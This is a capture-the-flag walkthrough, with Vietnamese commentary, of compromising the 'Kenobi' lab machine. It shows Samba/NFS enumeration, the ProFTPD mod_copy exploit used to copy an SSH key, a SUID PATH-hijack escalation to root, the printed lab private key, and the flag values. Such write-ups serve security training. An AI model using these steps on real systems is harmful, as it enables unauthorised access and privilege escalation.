Kenobi
Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.
Initial Reconnaissance
Service Scanning
$ sudo nmap -sS -sV 10.10.27.133
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 60 ProFTPD 1.3.5
22/tcp open ssh syn-ack ttl 60 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.18 ((Ubuntu))
111/tcp open rpcbind syn-ack ttl 60 2-4 (RPC #100000)
139/tcp open netbios-ssn syn-ack ttl 60 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack ttl 60 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open nfs syn-ack ttl 60 2-4 (RPC #100003)
42205/tcp open mountd syn-ack ttl 60 1-3 (RPC #100005)
42495/tcp open nlockmgr syn-ack ttl 60 1-4 (RPC #100021)
51271/tcp open mountd syn-ack ttl 60 1-3 (RPC #100005)
58839/tcp open mountd syn-ack ttl 60 1-3 (RPC #100005)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelNmap cho chúng ta thấy những service quan trọng đang chạy như FTP, SSH, HTTP, RPC, SMB và NFS.
SMB 445
$ ls -la /usr/share/nmap/scripts/ | grep smb-enum
-rw-r--r-- 1 root root 4840 May 15 22:37 smb-enum-domains.nse
-rw-r--r-- 1 root root 5971 May 15 22:37 smb-enum-groups.nse
-rw-r--r-- 1 root root 8043 May 15 22:37 smb-enum-processes.nse
-rw-r--r-- 1 root root 27274 May 15 22:37 smb-enum-services.nse
-rw-r--r-- 1 root root 12017 May 15 22:37 smb-enum-sessions.nse
-rw-r--r-- 1 root root 6923 May 15 22:37 smb-enum-shares.nse
-rw-r--r-- 1 root root 12527 May 15 22:37 smb-enum-users.nseĐầu tiên, với smb server, chúng ta sẽ chạy một nmap scan sử dụng các script của nó để enumerate các share và user trên server.
$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.27.133
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 10:17 +07
Nmap scan report for 10.10.27.133
Host is up (0.24s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.27.133\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: IPC Service (kenobi server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.27.133\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\10.10.27.133\print$:
| Type: STYPE_DISKTREE
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>
Nmap done: 1 IP address (1 host up) scanned in 37.51 secondsKhi dùng script smb-enum-shares, chúng ta thấy có 3 share, trong khi script smb-enum-users thì không đưa ra được bất kỳ thông tin nào.
Chúng ta phát hiện 2 share cho phép truy cập ẩn danh, đó là IPC$ và anonymous. Cả hai đều cho chúng ta quyền đọc và ghi.
Trong share anonymous, có một file tên là log.txt:
$ smbclient //10.10.27.133/anonymous
Password for [WORKGROUP\hungnt]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Sep 4 17:49:09 2019
.. D 0 Wed Sep 4 17:56:07 2019
log.txt N 12237 Wed Sep 4 17:49:09 2019
9204224 blocks of size 1024. 6877112 blocks availableChúng ta có thể dùng smbget để download toàn bộ share theo dạng đệ quy (--recursive):
$ smbget --recursive -a smb://10.10.27.133/anonymous
Using guest user
Using guest user
smb://10.10.27.133/anonymous/log.txt
Downloaded 11.95kB in 6 secondsTrong file log.txt, ta thấy rằng một cặp SSH public/private RSA key đã được tạo cho user kenobi, và nó được lưu tại đường dẫn /home/kenobi/.ssh/.
$ cat log.txt
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kenobi/.ssh/id_rsa):
Created directory '/home/kenobi/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kenobi/.ssh/id_rsa.
Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi
The key's randomart image is:
+---[RSA 2048]----+
| |
| .. |
| . o. . |
| ..=o +. |
| . So.o++o. |
| o ...+oo.Bo*o |
| o o ..o.o+.@oo |
| . . . E .O+= . |
| . . oBo. |
+----[SHA256]-----+
## This is a basic ProFTPD configuration file (rename it to
## 'proftpd.conf' for actual use. It establishes a single server
## and a single anonymous login. It assumes that you have a user/group
## "nobody" and "ftp" for normal operation and anon.
ServerName "ProFTPD Default Installation"
ServerType standalone
DefaultServer on
## Port 21 is the standard FTP port.
Port 21
## Don't use IPv6 support by default.
UseIPv6 off
## Umask 022 is a good standard umask to prevent new dirs and files
## from being group and world writable.
Umask 022
...RPC 111
NFS 2049
Theo kết quả Nmap scan, có một dịch vụ NFS đang chạy trên port 2049 và được đăng ký với RPC Service trên port 111.
Chúng ta sử dụng 3 script của Nmap để enumerate dịch vụ NFS.
$ ls -la /usr/share/nmap/scripts/ | grep nfs-
-rw-r--r-- 1 root root 14534 May 15 22:37 nfs-ls.nse
-rw-r--r-- 1 root root 2714 May 15 22:37 nfs-showmount.nse
-rw-r--r-- 1 root root 9947 May 15 22:37 nfs-statfs.nse$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.27.133
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-25 10:30 +07
Nmap scan report for 10.10.27.133
Host is up (0.23s latency).
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-ls: Volume /var
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION UID GID SIZE TIME FILENAME
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 .
| rwxr-xr-x 0 0 4096 2019-09-04T12:27:33 ..
| rwxr-xr-x 0 0 4096 2019-09-04T12:09:49 backups
| rwxr-xr-x 0 0 4096 2019-09-04T10:37:44 cache
| rwxrwxrwx 0 0 4096 2019-09-04T08:43:56 crash
| rwxrwsr-x 0 50 4096 2016-04-12T20:14:23 local
| rwxrwxrwx 0 0 9 2019-09-04T08:41:33 lock
| rwxrwxr-x 0 108 4096 2019-09-04T10:37:44 log
| rwxr-xr-x 0 0 4096 2019-01-29T23:27:41 snap
| rwxr-xr-x 0 0 4096 2019-09-04T08:53:24 www
|_
| nfs-statfs:
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
|_ /var 9204224.0 1836520.0 6877108.0 22% 16.0T 32000
| nfs-showmount:
|_ /var *
Nmap done: 1 IP address (1 host up) scanned in 6.59 secondsKết quả cho thấy thư mục /var có thể được truy cập công khai từ bất kỳ đâu trên Internet (/var *).
FTP 21
Phiên bản của dịch vụ FTP được xác định là ProFTPD 1.3.5, như đã phát hiện trong lần Nmap scan ban đầu. Phiên bản này tồn tại lỗ hổng Remote Code Execution thông qua module mod_copy.

Module mod_copy cho phép thực thi các lệnh SITE CPFR và SITE CPTO, cho phép copy file hoặc thư mục từ bất kỳ vị trí nào trong filesystem đến bất kỳ đích nào mà không cần xác thực.
Trước đó, chúng ta đã phát hiện private SSH key của user kenobi nằm trong /home/kenobi/.ssh, và thư mục /var có thể được truy cập công khai. Vì vậy, bằng cách khai thác module mod_copy, kẻ tấn công có thể lấy được private SSH key của kenobi bằng cách copy key vào thư mục /var và sau đó truy cập vào hệ thống thông qua dịch vụ SSH.
$ nc 10.10.27.133 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.27.133]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful
QUIT
221 Goodbye.$ sudo mkdir /mnt/kenobiNFS
$ sudo mount 10.10.27.133:/var /mnt/kenobiNFS
$ cd /mnt/kenobiNFS/
$ ls -la
total 56
drwxr-xr-x 14 root root 4096 Sep 4 2019 .
drwxr-xr-x 5 root root 4096 Jul 25 10:50 ..
drwxr-xr-x 2 root root 4096 Sep 4 2019 backups
drwxr-xr-x 9 root root 4096 Sep 4 2019 cache
drwxrwxrwt 2 root root 4096 Sep 4 2019 crash
drwxr-xr-x 40 root root 4096 Sep 4 2019 lib
drwxrwsr-x 2 root staff 4096 Apr 13 2016 local
lrwxrwxrwx 1 root root 9 Sep 4 2019 lock -> /run/lock
drwxrwxr-x 10 root _ssh 4096 Sep 4 2019 log
drwxrwsr-x 2 root mail 4096 Feb 27 2019 mail
drwxr-xr-x 2 root root 4096 Feb 27 2019 opt
lrwxrwxrwx 1 root root 4 Sep 4 2019 run -> /run
drwxr-xr-x 2 root root 4096 Jan 30 2019 snap
drwxr-xr-x 5 root root 4096 Sep 4 2019 spool
drwxrwxrwt 6 root root 4096 Jul 25 2025 tmp
drwxr-xr-x 3 root root 4096 Sep 4 2019 www
$ cd tmp
$ ls -la
total 28
drwxrwxrwt 6 root root 4096 Jul 25 2025 .
drwxr-xr-x 14 root root 4096 Sep 4 2019 ..
-rw-r--r-- 1 hungnt hungnt 1675 Jul 25 2025 id_rsa
drwx------ 3 root root 4096 Sep 4 2019 systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM
drwx------ 3 root root 4096 Sep 4 2019 systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw
drwx------ 3 root root 4096 Jul 25 10:24 systemd-private-9ebae05d6d6f4a5aa571cd2a2e3e4953-systemd-timesyncd.service-Ad9yvT
drwx------ 3 root root 4096 Sep 4 2019 systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-zObUdn
$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4PeD0e0522UEj7xlrLmN68R6iSG3HMK/aTI812CTtzM9gnXs
qpweZL+GJBB59bSG3RTPtirC3M9YNTDsuTvxw9Y/+NuUGJIq5laQZS5e2RaqI1nv
U7fXEQlJrrlWfCy9VDTlgB/KRxKerqc42aU+/BrSyYqImpN6AgoNm/s/753DEPJt
dwsr45KFJOhtaIPA4EoZAq8pKovdSFteeUHikosUQzgqvSCv1RH8ZYBTwslxSorW
y3fXs5GwjitvRnQEVTO/GZomGV8UhjrT3TKbPhiwOy5YA484Lp3ES0uxKJEnKdSt
otHFT4i1hXq6T0CvYoaEpL7zCq7udl7KcZ0zfwIDAQABAoIBAEDl5nc28kviVnCI
ruQnG1P6eEb7HPIFFGbqgTa4u6RL+eCa2E1XgEUcIzxgLG6/R3CbwlgQ+entPssJ
dCDztAkE06uc3JpCAHI2Yq1ttRr3ONm95hbGoBpgDYuEF/j2hx+1qsdNZHMgYfqM
bxAKZaMgsdJGTqYZCUdxUv++eXFMDTTw/h2SCAuPE2Nb1f1537w/UQbB5HwZfVry
tRHknh1hfcjh4ZD5x5Bta/THjjsZo1kb/UuX41TKDFE/6+Eq+G9AvWNC2LJ6My36
YfeRs89A1Pc2XD08LoglPxzR7Hox36VOGD+95STWsBViMlk2lJ5IzU9XVIt3EnCl
bUI7DNECgYEA8ZymxvRV7yvDHHLjw5Vj/puVIQnKtadmE9H9UtfGV8gI/NddE66e
t8uIhiydcxE/u8DZd+mPt1RMU9GeUT5WxZ8MpO0UPVPIRiSBHnyu+0tolZSLqVul
rwT/nMDCJGQNaSOb2kq+Y3DJBHhlOeTsxAi2YEwrK9hPFQ5btlQichMCgYEA7l0c
dd1mwrjZ51lWWXvQzOH0PZH/diqXiTgwD6F1sUYPAc4qZ79blloeIhrVIj+isvtq
mgG2GD0TWueNnddGafwIp3USIxZOcw+e5hHmxy0KHpqstbPZc99IUQ5UBQHZYCvl
SR+ANdNuWpRTD6gWeVqNVni9wXjKhiKM17p3RmUCgYEAp6dwAvZg+wl+5irC6WCs
dmw3WymUQ+DY8D/ybJ3Vv+vKcMhwicvNzvOo1JH433PEqd/0B0VGuIwCOtdl6DI9
u/vVpkvsk3Gjsyh5gFI8iZuWAtWE5Av4OC5bwMXw8ZeLxr0y1JKw8ge9NSDl/Pph
YNY61y+DdXUvywifkzFmhYkCgYB6TeZbh9XBVg3gyhMnaQNzDQFAUlhM7n/Alcb7
TjJQWo06tOlHQIWi+Ox7PV9c6l/2DFDfYr9nYnc67pLYiWwE16AtJEHBJSHtofc7
P7Y1PqPxnhW+SeDqtoepp3tu8kryMLO+OF6Vv73g1jhkUS/u5oqc8ukSi4MHHlU8
H94xjQKBgExhzreYXCjK9FswXhUU9avijJkoAsSbIybRzq1YnX0gSewY/SB2xPjF
S40wzYviRHr/h0TOOzXzX8VMAQx5XnhZ5C/WMhb0cMErK8z+jvDavEpkMUlR+dWf
Py/CLlDCU4e+49XBAPKEmY4DuN+J2Em/tCz7dzfCNS/mpsSEn0jo
-----END RSA PRIVATE KEY-----
$ cp /mnt/kenobiNFS/tmp/id_rsa ~/Desktop/
$ cd ~/Desktop/
$ chmod 400 id_rsaShell as kenobi
Chúng ta có được initial access vào hệ thống thông qua dịch vụ SSH bằng cách sử dụng private SSH key bị lộ của user kenobi.
$ ssh -i id_rsa kenobi@10.10.27.133
The authenticity of host '10.10.27.133 (10.10.27.133)' can't be established.
ED25519 key fingerprint is SHA256:GXu1mgqL0Wk2ZHPmEUVIS0hvusx4hk33iTcwNKPktFw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.27.133' (ED25519) to the list of known hosts.
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
103 packages can be updated.
65 updates are security updates.
Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
kenobi@kenobi:~$ id
uid=1000(kenobi) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)user.txt
kenobi@kenobi:~$ ls -la
total 40
drwxr-xr-x 5 kenobi kenobi 4096 Sep 4 2019 .
drwxr-xr-x 3 root root 4096 Sep 4 2019 ..
lrwxrwxrwx 1 root root 9 Sep 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 kenobi kenobi 220 Sep 4 2019 .bash_logout
-rw-r--r-- 1 kenobi kenobi 3771 Sep 4 2019 .bashrc
drwx------ 2 kenobi kenobi 4096 Sep 4 2019 .cache
-rw-r--r-- 1 kenobi kenobi 655 Sep 4 2019 .profile
drwxr-xr-x 2 kenobi kenobi 4096 Sep 4 2019 share
drwx------ 2 kenobi kenobi 4096 Sep 4 2019 .ssh
-rw-rw-r-- 1 kenobi kenobi 33 Sep 4 2019 user.txt
-rw------- 1 kenobi kenobi 642 Sep 4 2019 .viminfo
kenobi@kenobi:~$ cat user.txt
d0b0f3f53b6caa532a83915e19224899Shell as root
Tại đây, chúng ta phát hiện một binary đáng ngờ có tên menu với permission SUID được bật.

Chúng ta cùng kiểm tra hành vi của nó.
kenobi@kenobi:~$ which menu
/usr/bin/menu
kenobi@kenobi:~$ menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Fri, 25 Jul 2025 04:16:55 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/htmlBinary này được thiết kế để thực thi một trong ba lệnh hệ thống, tùy thuộc vào lựa chọn nhập vào của user. Các lệnh hệ thống đó là:
kenobi@kenobi:~$ strings /usr/bin/menu | grep -e curl -e wget -e uname -e ifconfig
3. ifconfig
curl -I localhost
uname -r
ifconfigVì không có lệnh nào được gọi bằng absolute path, nên các binary này dễ bị tấn công bằng kỹ thuật gọi là Binary Hijacking. Kỹ thuật này cho phép kẻ tấn công thực thi code tùy ý bằng cách tạo một binary độc hại có cùng tên với binary hợp pháp và đặt nó trong một thư mục mà họ kiểm soát, sau đó chỉnh sửa biến môi trường PATH để thư mục này nằm ở đầu tiên. Khi đó, hệ thống sẽ chạy binary có trong đường dẫn xuất hiện đầu tiên, tức là binary giả mạo của kẻ tấn công sẽ được thực thi thay vì binary gốc.
kenobi@kenobi:~$ echo /bin/bash > curl
kenobi@kenobi:~$ chmod +x curl
kenobi@kenobi:~$ export PATH=$PWD:$PATH
kenobi@kenobi:~$ ls -la
total 44
drwxr-xr-x 5 kenobi kenobi 4096 Jul 24 23:19 .
drwxr-xr-x 3 root root 4096 Sep 4 2019 ..
lrwxrwxrwx 1 root root 9 Sep 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 kenobi kenobi 220 Sep 4 2019 .bash_logout
-rw-r--r-- 1 kenobi kenobi 3771 Sep 4 2019 .bashrc
drwx------ 2 kenobi kenobi 4096 Sep 4 2019 .cache
-rwxrwxr-x 1 kenobi kenobi 10 Jul 24 23:19 curl
-rw-r--r-- 1 kenobi kenobi 655 Sep 4 2019 .profile
drwxr-xr-x 2 kenobi kenobi 4096 Sep 4 2019 share
drwx------ 2 kenobi kenobi 4096 Sep 4 2019 .ssh
-rw-rw-r-- 1 kenobi kenobi 33 Sep 4 2019 user.txt
-rw------- 1 kenobi kenobi 642 Sep 4 2019 .viminfo
kenobi@kenobi:~$ echo $PATH
/home/kenobi:/home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
kenobi@kenobi:~$ menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@kenobi:~# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)root.txt
root@kenobi:~# cd /root
root@kenobi:/root# ls
root.txt
root@kenobi:/root# cat root.txt
177b3cd8562289f37382721c28381f02